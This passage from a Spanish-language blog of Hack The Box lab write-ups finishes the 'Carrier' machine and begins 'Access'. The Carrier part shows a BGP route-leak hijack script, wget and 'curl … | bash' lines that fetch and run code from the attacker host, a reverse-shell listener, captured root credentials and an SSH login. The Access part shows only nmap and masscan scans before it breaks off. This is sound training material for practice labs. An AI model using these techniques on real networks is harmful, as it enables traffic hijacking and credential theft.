</span></span><span style="display:flex;"><span>*&gt; 10.120.15.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.16.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.17.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.18.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.19.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.20.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span></code></pre></div><p>Con esto conocemos todas las redes aprendidas por BGP mediante los neighbors 10.78.10.2 (AS 200) y 10.78.11.2 (AS 300). Ah no puedo olvidar que nosotros anunciamos por defecto TODAS las interfaces directamente conectadas. Esto porque existe una redistribución vía route-map.</p>
<p>Un punto importante de observar, es que tenemos en la tabla redes que tienen el carácter <code>&gt;</code>, que significa que es la activa actualmente, esto porque se genera un ECMP que se rompe por AS Path Distance, por eso también vemos que abajo se repite la red (cuando no muestra nada).</p>
<p>La configuración del router es la siguiente:</p>
<pre tabindex="0"><code class="language-cisco" data-lang="cisco">!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
</code></pre><p>Ahora, tras revisar la configuración del router, no observaremos que exista algún mecanismo de autenticación que reserve la comunicación entre los peers, lo cual implica que ambos peers confían en mi.</p>
<p>Considerando el siguiente párrafo del sistema de tickets:</p>
<table>
  <thead>
      <tr>
          <th>#</th>
          <th>Status</th>
          <th>Description</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>6</td>
          <td>Closed</td>
          <td>Rx / CastCom. IP Engineering team from one of our upstream ISP called to report a problem with some of their routes being leaked again due to a misconfiguration on our end. Update 2018/06/13: Pb solved: Junior Net Engineer Mike D. was terminated yesterday. Updated: 2018/06/15: CastCom. still reporting issues with 3 networks: 10.120.15,10.120.16,10.120.17/24&rsquo;s, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating&hellip; Updated 2018/06/16: No prbl. found, suspect they had stuck routes after the leak and cleared them manually.</td>
      </tr>
  </tbody>
</table>
<p>Con esto terminamos de cerrar algunos cabos; debemos replicar el route leak de la red 10.120.15.0/24 ubicado en el AS 300, en el cual se ubica un servidor FTP.</p>
<h1 id="network-icmp-scanning">Network ICMP scanning</h1>
<p>Necesitamos averiguar cual es la dirección del servidor IP, pero como es un contenedor muy limitado, no tenemos herramientas a primera mano a menos que hagamos un pequeño script o mejor aun, usemos uno de <a href="https://www.commandlinefu.com/commands/view/5298/ping-scanning-without-nmap">commandlinefu</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@r1:~# for i in {1..254}; do ping -c 1 -W 1 10.120.15.$i | grep &#39;from&#39;; done
</span></span><span style="display:flex;"><span>&lt;}; do ping -c 1 -W 1 10.120.15.$i | grep &#39;from&#39;; done
</span></span><span style="display:flex;"><span>64 bytes from 10.120.15.10: icmp_seq=1 ttl=64 time=0.085 ms
</span></span></code></pre></div><p>Básicamente tira <strong>un</strong> ping a cada dirección dentro de una red de 24 bits. Después de hacer un ftp al servidor vemos un banner de vsftpd.</p>
<p>Con esto hemos encontrado nuestro target, el servidor 10.120.15.10.</p>
<h1 id="crontab-for-root">Crontab for root</h1>
<p>Después de explorar y explorar sobre la maquina, intentar varias veces el route-leak y fallar o tardar mucho, me tope con este cronjob:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@r1:~# cat /var/spool/cron/crontabs/root
</span></span><span style="display:flex;"><span>cat /var/spool/cron/crontabs/root
</span></span><span style="display:flex;"><span># DO NOT EDIT THIS FILE - edit the master and reinstall.
</span></span><span style="display:flex;"><span># (/tmp/crontab.m6zD7R/crontab installed on Mon Jul  2 16:40:23 2018)
</span></span><span style="display:flex;"><span># (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
</span></span><span style="display:flex;"><span># Edit this file to introduce tasks to be run by cron.
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Each task to run has to be defined through a single line
</span></span><span style="display:flex;"><span># indicating with different fields when the task will be run
</span></span><span style="display:flex;"><span># and what command to run for the task
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># To define the time you can provide concrete values for
</span></span><span style="display:flex;"><span># minute (m), hour (h), day of month (dom), month (mon),
</span></span><span style="display:flex;"><span># and day of week (dow) or use &#39;*&#39; in these fields (for &#39;any&#39;).#
</span></span><span style="display:flex;"><span># Notice that tasks will be started based on the cron&#39;s system
</span></span><span style="display:flex;"><span># daemon&#39;s notion of time and timezones.
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># Output of the crontab jobs (including errors) is sent through
</span></span><span style="display:flex;"><span># email to the user the crontab file belongs to (unless redirected).
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># For example, you can run a backup of all your user accounts
</span></span><span style="display:flex;"><span># at 5 a.m every week with:
</span></span><span style="display:flex;"><span># 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># For more information see the manual pages of crontab(5) and cron(8)
</span></span><span style="display:flex;"><span>#
</span></span><span style="display:flex;"><span># m h  dom mon dow   command
</span></span><span style="display:flex;"><span>*/10 * * * * /opt/restore.sh
</span></span><span style="display:flex;"><span>root@r1:~# cat /opt/restore.sh
</span></span><span style="display:flex;"><span>cat /opt/restore.sh
</span></span><span style="display:flex;"><span>#!/bin/sh
</span></span><span style="display:flex;"><span>systemctl stop quagga
</span></span><span style="display:flex;"><span>killall vtysh
</span></span><span style="display:flex;"><span>cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
</span></span><span style="display:flex;"><span>cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
</span></span><span style="display:flex;"><span>systemctl start quagga
</span></span></code></pre></div><p>Básicamente y a pesar de ser root, decidí no intervenir y trabajar con lo que tenia sobre la maquina. El script <code>restore.sh</code> se ejecuta cada 10 min cortando cualquier intento de afectar la operación por defecto de la maquina. En los servidores free ya era un infierno ):</p>
<h1 id="quickly-a-route-leak--ftp-server">Quickly, a route leak + ftp-server!</h1>
<p>Cree un script para realizar la conexión lo mas rápido y eficiente posible:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>python3 -c <span style="color:#e6db74">&#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;</span>
</span></span><span style="display:flex;"><span>export SHELL<span style="color:#f92672">=</span>bash <span style="color:#f92672">&amp;&amp;</span> export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span><span style="display:flex;"><span>ip link add dummy1 type dummy
</span></span><span style="display:flex;"><span>ip addr add 10.120.15.10/32 dev dummy1
</span></span><span style="display:flex;"><span>ip link set dummy1 up
</span></span><span style="display:flex;"><span>printf <span style="color:#e6db74">&#34;conf t\nrouter bgp 100\nnetwork 10.120.15.10/32\nexit\nexit\nwr mem\nsh ip bgp\nexit\n&#34;</span> | vtysh
</span></span><span style="display:flex;"><span>wget -O /dev/shm/utils.py http://10.10.13.170:4001/utils.py <span style="color:#f92672">&amp;&amp;</span> wget -O /dev/shm/ftp_server.py http://10.10.13.170:4001/ftp_server.py
</span></span><span style="display:flex;"><span>cd /dev/shm/ <span style="color:#f92672">&amp;&amp;</span> python3 ftp_server.py
</span></span></code></pre></div><p>Básicamente:</p>
<ul>
<li>Crea una interface virtual dummy</li>
<li>Configura el router para anunciar como network la interface virtual (route leak)</li>
<li>Descarga una implementación de un ftp server para python3 y lo ejecuta.</li>
</ul>
<p>En otra terminal puse el listener del reverse shell para llamar al script de bash <code>up.sh</code> desde un web server.</p>
<p>Veamos que ocurrió:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ncat -lnvp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.105.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.105:44988.
</span></span><span style="display:flex;"><span>bash: cannot set terminal process group (7411): Inappropriate ioctl for device
</span></span><span style="display:flex;"><span>bash: no job control in this shell
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# curl http://10.10.13.170:4001/up.sh | bash
</span></span><span style="display:flex;"><span>curl http://10.10.13.170:4001/up.sh | bash
</span></span><span style="display:flex;"><span>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
</span></span><span style="display:flex;"><span>                                 Dload  Upload   Total   Spent    Left  Speed
</span></span><span style="display:flex;"><span>100   474  100   474    0     0    707      0 --:--:-- --:--:-- --:--:--   707
</span></span><span style="display:flex;"><span>export SHELL=bash &amp;&amp; export TERM=xterm-256color
</span></span><span style="display:flex;"><span>ip link add dummy1 type dummy
</span></span><span style="display:flex;"><span>ip addr add 10.120.15.10/32 dev dummy1
</span></span><span style="display:flex;"><span>ip link set dummy1 up
</span></span><span style="display:flex;"><span>printf &#34;conf t\nrouter bgp 100\nnetwork 10.120.15.10/32\nexit\nexit\nwr mem\nsh ip bgp\nexit\n&#34; | vtysh
</span></span><span style="display:flex;"><span>wget -O /dev/shm/utils.py http://10.10.13.170:4001/utils.py &amp;&amp; wget -O /dev/shm/ftp_server.py http://10.10.13.170:4001/ftp_server.py
</span></span><span style="display:flex;"><span>cd /dev/shm/ &amp;&amp; python3 ftp_server.py
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# export SHELL=bash &amp;&amp; export TERM=xterm-256color
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# ip link add dummy1 type dummy
</span></span><span style="display:flex;"><span>RTNETLINK answers: File exists
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# ip addr add 10.120.15.10/32 dev dummy1
</span></span><span style="display:flex;"><span>RTNETLINK answers: File exists
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# ip link set dummy1 up
</span></span><span style="display:flex;"><span>it\nexit\nwr mem\nsh ip bgp\nexit\n&#34; | vtyshbgp 100\nnetwork 10.120.15.10/32\nex
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hello, this is Quagga (version 0.99.24.1).
</span></span><span style="display:flex;"><span>Copyright 1996-2005 Kunihiro Ishiguro, et al.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>as100# conf t
</span></span><span style="display:flex;"><span>as100(config)# router bgp 100
</span></span><span style="display:flex;"><span>as100(config-router)# network 10.120.15.10/32
</span></span><span style="display:flex;"><span>as100(config-router)# exit
</span></span><span style="display:flex;"><span>as100(config)# exit
</span></span><span style="display:flex;"><span>as100# wr mem
</span></span><span style="display:flex;"><span>Building Configuration...
</span></span><span style="display:flex;"><span>Configuration saved to /etc/quagga/zebra.conf
</span></span><span style="display:flex;"><span>Configuration saved to /etc/quagga/bgpd.conf
</span></span><span style="display:flex;"><span>[OK]
</span></span><span style="display:flex;"><span>as100# sh ip bgp
</span></span><span style="display:flex;"><span>BGP table version is 0, local router ID is 10.255.255.1
</span></span><span style="display:flex;"><span>Status codes: s suppressed, d damped, h history, * valid, &gt; best, = multipath,
</span></span><span style="display:flex;"><span>              i internal, r RIB-failure, S Stale, R Removed
</span></span><span style="display:flex;"><span>Origin codes: i - IGP, e - EGP, ? - incomplete
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Network          Next Hop            Metric LocPrf Weight Path
</span></span><span style="display:flex;"><span>*&gt; 10.78.10.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*&gt; 10.78.11.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*&gt; 10.99.64.0/24    0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*  10.100.10.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.11.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.12.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.13.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.14.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.15.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.16.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.17.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.18.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.19.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*  10.100.20.0/24   10.78.11.2                             0 300 200 i
</span></span><span style="display:flex;"><span>*&gt;                  10.78.10.2               0             0 200 i
</span></span><span style="display:flex;"><span>*&gt; 10.101.8.0/21    0.0.0.0                  0         32768 i
</span></span><span style="display:flex;"><span>*&gt; 10.101.16.0/21   0.0.0.0                  0         32768 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.10.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.11.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.12.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.13.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.14.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.15.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*  10.120.15.10/32  0.0.0.0                  0         32768 i
</span></span><span style="display:flex;"><span>*&gt;                  0.0.0.0                  0         32768 ?
</span></span><span style="display:flex;"><span>*&gt; 10.120.16.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.17.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.18.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.19.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>*&gt; 10.120.20.0/24   10.78.11.2               0             0 300 i
</span></span><span style="display:flex;"><span>*                   10.78.10.2                             0 200 300 i
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Total number of prefixes 28
</span></span><span style="display:flex;"><span>as100# exit
</span></span><span style="display:flex;"><span> -O /dev/shm/ftp_server.py http://10.10.13.170:4001/ftp_server.pytils.py &amp;&amp; wget
</span></span><span style="display:flex;"><span>root@as100:/dev/shm# cd /dev/shm/ &amp;&amp; python3 ftp_server.py
</span></span><span style="display:flex;"><span>2019-03-06 04-48-17 [-] Start ftp server: Enter q or Q to stop ftpServer...
</span></span><span style="display:flex;"><span>2019-03-06 04-48-17 [-] Server started: Listen on: 10.120.15.10, 21
</span></span></code></pre></div><p>Excelente, ya tenemos el listener y el anuncio sobre BGP, esperemos a ver si engañamos a alguien:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>2019-03-06 04-48-17 [-] Start ftp server: Enter q or Q to stop ftpServer...
</span></span><span style="display:flex;"><span>2019-03-06 04-48-17 [-] Server started: Listen on: 10.120.15.10, 21
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Accept: Created a new connection 10.78.10.2, 35248
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: USER root
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] USER: root
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: PASS BGPtelc0rout1ng
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] PASS: BGPtelc0rout1ng
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: SYST
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] SYS: None
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: PASV
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] PASV: None
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: STOR secretdata.txt
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] STOR: /root/secretdata.txt
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Receive: &#39;FtpServerProtocol&#39; object has no attribute &#39;mode&#39;
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data: QUIT
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] QUIT: None
</span></span><span style="display:flex;"><span>2019-03-06 04-49-01 [-] Received data:
</span></span></code></pre></div><p>Holy Guacamoly, una maquina del AS 100 se trato de conectar! De esas que estamos redistribuyendo.</p>
<p>Con eso logramos obtener las credenciales de root.</p>
<blockquote>
<p>creds: root / BGPtelc0rout1ng</p>
</blockquote>
<p>Ahora, ¿cómo usamos esas credenciales? Fácil por ssh hacia el host intervenido (spoiler, borre la interface y ejecute restore.sh):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@as100:~# export SHELL=bash &amp;&amp; export TERM=xterm-256color
</span></span><span style="display:flex;"><span>root@as100:~# ssh root@10.120.15.10
</span></span><span style="display:flex;"><span>ssh root@10.120.15.10
</span></span><span style="display:flex;"><span>root@10.120.15.10&#39;s password: BGPtelc0rout1ng
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System information as of Wed Mar  6 04:54:35 UTC 2019
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  System load:  0.12               Users logged in:       0
</span></span><span style="display:flex;"><span>  Usage of /:   40.8% of 19.56GB   IP address for ens33:  10.10.10.105
</span></span><span style="display:flex;"><span>  Memory usage: 58%                IP address for lxdbr0: 10.99.64.1
</span></span><span style="display:flex;"><span>  Swap usage:   2%                 IP address for lxdbr1: 10.120.15.10
</span></span><span style="display:flex;"><span>  Processes:    391
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Canonical Livepatch is available for installation.
</span></span><span style="display:flex;"><span>   - Reduce system reboots and improve kernel security. Activate at:
</span></span><span style="display:flex;"><span>     https://ubuntu.com/livepatch
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>4 packages can be updated.
</span></span><span style="display:flex;"><span>0 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Wed Sep  5 14:32:15 2018
</span></span><span style="display:flex;"><span>root@carrier:~# ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>root.txt  secretdata.txt
</span></span></code></pre></div><h1 id="cat-roottxt"><code>cat root.txt</code></h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@carrier:~# cat root.txt
</span></span><span style="display:flex;"><span>cat root.txt
</span></span></code></pre></div><p>&hellip; and we got root flag and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Access</title><link>https://www.xbyte.mx/posts/htb_writeup_-_access/</link><pubDate>Fri, 01 Mar 2019 16:50:10 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_access/</guid><description>&lt;p&gt;Si tuviera que resumir access en unas pocas frases seria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumera a la organización&lt;/li&gt;
&lt;li&gt;Busca en todas las esquinas&lt;/li&gt;
&lt;li&gt;Los de ingeniería siempre tienen más permisos&lt;/li&gt;
&lt;/ul&gt;</description><content type="html"><![CDATA[<p>Si tuviera que resumir access en unas pocas frases seria:</p>
<ul>
<li>Enumera a la organización</li>
<li>Busca en todas las esquinas</li>
<li>Los de ingeniería siempre tienen más permisos</li>
</ul>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/adef7ad3d015a1fbc5235d5a201ca7d1_thumb.png" alt="access image"> <a href="https://www.hackthebox.eu/home/machines/profile/156">access</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/1190">egre55</a></td>
          <td>Windows</td>
          <td>10.10.10.98</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-access/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- 10.10.10.98 --open -v -n
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 11:54 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 11:54
</span></span><span style="display:flex;"><span>Scanning 10.10.10.98 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 11:54, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 11:54
</span></span><span style="display:flex;"><span>Scanning 10.10.10.98 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 23/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 12:17, 1375.53s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.98
</span></span><span style="display:flex;"><span>Host is up (0.20s latency).
</span></span><span style="display:flex;"><span>Not shown: 65532 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>21/tcp open  ftp
</span></span><span style="display:flex;"><span>23/tcp open  telnet
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 1376.09 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 131972 (5.807MB) | Rcvd: 993 (58.980KB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Corroboremos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.98
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-12-31 18:50:23 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 23/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.98
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-A):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -A -T4 -p80,23,21 10.10.10.98 --open -v -n
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 11:12 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 11:12
</span></span><span style="display:flex;"><span>Completed NSE at 11:12, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 11:12
</span></span><span style="display:flex;"><span>Completed NSE at 11:12, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 11:12
</span></span><span style="display:flex;"><span>Scanning 10.10.10.98 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 11:12, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 11:12
</span></span><span style="display:flex;"><span>Scanning 10.10.10.98 [3 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 21/tcp on 10.10.10.98
</span></span><span style="display:flex;"><span>Discovered open port 23/tcp on 10.10.10.98
